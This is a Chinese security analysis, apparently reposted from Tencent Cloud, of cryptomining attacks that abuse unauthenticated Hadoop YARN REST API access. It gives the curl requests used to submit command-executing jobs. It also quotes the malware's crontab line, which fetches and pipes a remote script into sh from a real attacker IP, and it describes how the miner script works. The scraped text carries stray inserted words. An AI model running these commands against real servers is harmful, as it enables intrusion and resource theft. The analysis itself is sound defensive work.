Hadoop Yarn REST API未受权漏洞利用挖矿分析

时间 2019-11-22

标签 hadoop yarn rest api 受权漏洞利用分析栏目 Hadoop 繁體版

原文原文链接

欢迎你们前往腾讯云+社区，获取更多腾讯海量技术实践干货哦~php

1、背景状况

5月5日腾讯云安全曾针对攻击者利用Hadoop Yarn资源管理系统REST API未受权漏洞对服务器进行攻击，攻击者能够在未受权的状况下远程执行代码的安全问题进行预警，在预警的先后咱们曾屡次捕获相关的攻击案例，其中就包含利用该问题进行挖矿，咱们针对其中一个案例进行分析并提供响应的安全建议和解决方案。html

2、漏洞说明

Hadoop是一个由Apache基金会所开发的分布式系统基础架构，YARN是hadoop系统上的资源统一管理平台，其主要做用是实现集群资源的统一管理和调度，能够把MapReduce计算框架做为一个应用程序运行在YARN系统之上，经过YARN来管理资源。简单的说，用户能够向YARN提交特定应用程序进行执行，其中就容许执行相关包含系统命令。java

YARN提供有默认开放在8088和8090的REST API（默认前者）容许用户直接经过API进行相关的应用建立、任务提交执行等操做，若是配置不当，REST API将会开放在公网致使未受权访问的问题，那么任何黑客则就都可利用其进行远程命令执行，从而进行挖矿等行为。node

攻击步骤：数据库

申请新的application

直接经过curl进行POST请求json

curl -v -X POST安全

'http://ip:8088/ws/v1/cluster/apps/new-application'服务器

返回内容相似于：微信

构造并提交任务

构造json文件1.json，内容以下，其中application-id对应上面获得的id，命令内容为尝试在/var/tmp目录下建立11112222_test_111122222文件，内容也为111：网络

而后直接

curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type:application/json'

http://ip:8088/ws/v1/cluster/apps --data-binary @1.json

便可完成攻击，命令被执行，在相应目录下能够看到生成了对应文件

更多漏洞详情能够参考

http://bbs.qcloud.com/thread-50090-1-1.html

3、入侵分析

在本次分析的案例中，受害机器部署有Hadoop YARN，而且存在未受权访问的安全问题，黑客直接利用开放在8088的REST API提交执行命令，来实如今服务器内下载执行.sh脚本，从而再进一步下载启动挖矿程序达到挖矿的目的。

整个利用过程相对比较简单，经过捕捉Hadoop 的launch_container.sh执行脚本，咱们能够看到其中一个案例中相关任务执行的命令：

能够很明显的看到第8行位置，从185.222.210.59下载并执行了一个名为x_wcr.sh的脚本。

在实际过程当中，咱们从多个案例捕获了多个好比名为cr.sh的不一样脚本，但实际的功能代码都差很少，咱们对其中一个x_wcr.sh脚本进行分析，代码自上而下内容：

这部分代码主要针对已存在的挖矿进程、文件进行清理。

这部分的代码主要是判断若是/tmp/java是一个存在而且可写的文件，那么就判断其MD5值是否匹配，MD5不匹配则根据w.conf关键词查找并kill进程；若是非可写的文件，则从新赋值DIR变量，这个变量主要用于后面部分代码中下载挖矿等程序存放目录。

而后接着是一些变量的赋值，包括再次判断若是/tmp/java是一个目录，则从新赋值DIR变量；判断curl和wget命令是否存在，存在则赋值到WGET变量；f2则是赋值为某个IP，实则为是后续下载相关文件的服务器之一。

这部分代码是其中比较核心的代码，经过downloadIfNeed方法下载挖矿程序到DIR目录下并重命名为java，下载w.conf配置文件，给挖矿程序增长执行权限，而后以nohup命令后台运行挖矿程序并删除配置文件；接着检查crontab中的任务，若是不存在对应的任务，就将下载执行脚本的任务"* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1"添加到其中,这里LDR为wget -q -O -或者curl，任务每分钟执行一次。

脚本中还包含了几个嵌套调用的download方法，入口方法是downloadIfNeed：

这个方法的核心功能仍是校验已存在的挖矿程序的MD5，若是没法验证或者文件不存在的状况，则直接调用download方法下载挖矿程序；若是文件存在但MD5匹配不正确，则调用download方法后再次验证，验证失败则尝试从另一个下载渠道https://transfer.sh/WoGXx/zzz下载挖矿程序并再次验证。最后还将相关结果上报到目标服务器$f2的re.php.

tmp.txt内容示例：